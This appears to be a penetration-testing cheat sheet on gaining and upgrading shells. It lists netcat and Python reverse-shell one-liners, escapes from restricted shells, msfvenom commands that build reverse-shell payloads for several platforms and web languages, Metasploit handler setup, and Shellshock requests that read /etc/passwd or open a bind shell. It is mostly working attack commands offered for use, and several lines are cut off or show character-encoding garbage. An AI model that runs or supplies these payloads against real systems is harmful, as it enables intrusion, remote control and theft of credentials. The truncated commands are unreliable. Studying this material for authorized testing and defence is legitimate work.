Shells

Netcat Shell Listener
`nc -nlvp 4444`

Spawning a TTY Shell - Break out of Jail or limited shell
You should almost always upgrade your shell after taking control of an apache or www user.
(For example when you encounter an error message when trying to run an exploit sh: no job control in this shell)
(hint: sudo -l to see what you can run)

You may encounter limited shells that use rbash and only allow you to execute a single command per session.
You can overcome this by executing an SSH shell to your localhost:
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
python -c 'import pty; pty.spawn("/bin/sh")'
export TERM=linux
`python -c 'import pty; pty.spawn("/bin/sh")'`
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",
`echo os.system('/bin/bash')`
`/bin/sh -i`
`perl 'exec "/bin/sh";'`
perl: `exec "/bin/sh";`
ruby: `exec "/bin/sh"`
lua: `os.execute('/bin/sh')`
From within IRB: `exec "/bin/sh"`

From within vi: `:!bash`
or
`:set shell=/bin/bash:shell`

From within vim `':!bash':`

From within nmap: `!sh`

From within tcpdump
echo id\\n/bin/netcat $ip 443 “e /bin/bashâ€™ > /tmp/.test chmod +x /tmp/.test sudo tcpdump ln I eth- -w /dev/null W 1

From busybox `/bin/busybox telnetd -|/bin/sh -p9999`

Pen test monkey PHP reverse shell
http://pentestmonkey.net/tools/web-shells/php-reverse-shel

php-findsock-shell - turns PHP port 80 into an interactive shell
http://pentestmonkey.net/tools/web-shells/php-findsock-shell

Perl Reverse Shell
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

PHP powered web browser Shell b374k with file upload etc.
https://github.com/b374k/b374k

Windows reverse shell - PowerSploitâ€™s Invoke-Shellcode script and inject a Meterpreter shell
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

Web Backdoors from Fuzzdb
https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors

Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most

Linux
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.e

Windows
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac
`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho`

Web Payloads

PHP

`msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`
OR
`msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php`

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:
`cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php`

ASP
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`

JSP
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`

WAR
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`

Scripting Payloads
Python
`msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`

Bash
`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`

Perl
`msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`

Shellcode
For all shellcode see â€˜msfvenom â€“help-formatsâ€™ for information as to valid parameters. Msfvenom will output code

Linux Based Shellcode
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

Windows Based Shellcode
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

Mac Based Shellcode
`msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>`

Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler â€“ â€˜msfconsole -L -r â€˜

- SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter

Shellshock

Testing for shell shock with NMap
`root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip`

git clone https://github.com/nccgroup/shocker
`./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose`

Shell Shock SSH Forced Command

Check for forced command by enabling all debug output with ssh
ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'

cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConne

Shell Shock run bind shell

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable
```